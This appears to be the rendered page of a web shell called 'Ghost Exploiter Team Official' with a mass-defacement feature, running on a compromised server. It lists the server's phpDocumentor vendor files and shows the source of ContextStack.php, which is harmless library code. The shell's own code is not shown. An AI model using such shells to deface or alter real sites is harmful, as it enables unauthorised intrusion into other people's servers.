Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
phpdocumentor
/
reflection
/
src
/
phpDocumentor
/
Reflection
/
Php
/
Factory
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
File
--
ren
Reducer
--
ren
AbstractFactory.php
2.563KB
edt
ren
ClassConstant.php
4.196KB
edt
ren
ClassConstantIterator.php
3.574KB
edt
ren
Class_.php
2.386KB
edt
ren
ConstructorPromotion.php
3.278KB
edt
ren
ContextStack.php
2.317KB
edt
ren
Define.php
4.841KB
edt
ren
EnumCase.php
2.379KB
edt
ren
Enum_.php
1.833KB
edt
ren
File.php
5.632KB
edt
ren
Function_.php
2.16KB
edt
ren
GlobalConstant.php
3.002KB
edt
ren
GlobalConstantIterator.php
2.761KB
edt
ren
IfStatement.php
1.197KB
edt
ren
Interface_.php
2.477KB
edt
ren
Method.php
3.056KB
edt
ren
Namespace_.php
1.617KB
edt
ren
Noop.php
0.497KB
edt
ren
Property.php
3.196KB
edt
ren
PropertyBuilder.php
11.121KB
edt
ren
PropertyIterator.php
5.964KB
edt
ren
TraitUse.php
1.46KB
edt
ren
Trait_.php
1.877KB
edt
ren
Type.php
2.197KB
edt
ren
<?php declare(strict_types=1); namespace phpDocumentor\Reflection\Php\Factory; use OutOfBoundsException; use phpDocumentor\Reflection\Element; use phpDocumentor\Reflection\Php\File as FileElement; use phpDocumentor\Reflection\Php\Project; use phpDocumentor\Reflection\Php\PropertyHook; use phpDocumentor\Reflection\Types\Context as TypeContext; use function array_reverse; use function end; final class ContextStack { /** @var (Element|FileElement|PropertyHook)[] */ private array $elements = []; public function __construct(private readonly Project $project, private readonly TypeContext|null $typeContext = null) { } /** @param (Element|FileElement|PropertyHook)[] $elements */ private static function createFromSelf(Project $project, TypeContext|null $typeContext, array $elements): self { $self = new self($project, $typeContext); $self->elements = $elements; return $self; } public function push(Element|FileElement|PropertyHook $element): self { $elements = $this->elements; $elements[] = $element; return self::createFromSelf($this->project, $this->typeContext, $elements); } public function withTypeContext(TypeContext $typeContext): ContextStack { return self::createFromSelf($this->project, $typeContext, $this->elements); } public function getTypeContext(): TypeContext|null { return $this->typeContext; } public function getProject(): Project { return $this->project; } public function peek(): Element|FileElement|PropertyHook { $element = end($this->elements); if ($element === false) { throw new OutOfBoundsException('Stack is empty'); } return $element; } /** * Returns the first element of type. * * Will reverse search the stack for an element matching $type. Will return null when the element type is not * in the current stack. * * @param class-string $type */ public function search(string $type): Element|FileElement|PropertyHook|null { $reverseElements = array_reverse($this->elements); foreach ($reverseElements as $element) { if ($element instanceof $type) { return $element; } } return null; } }
<=Back
Liking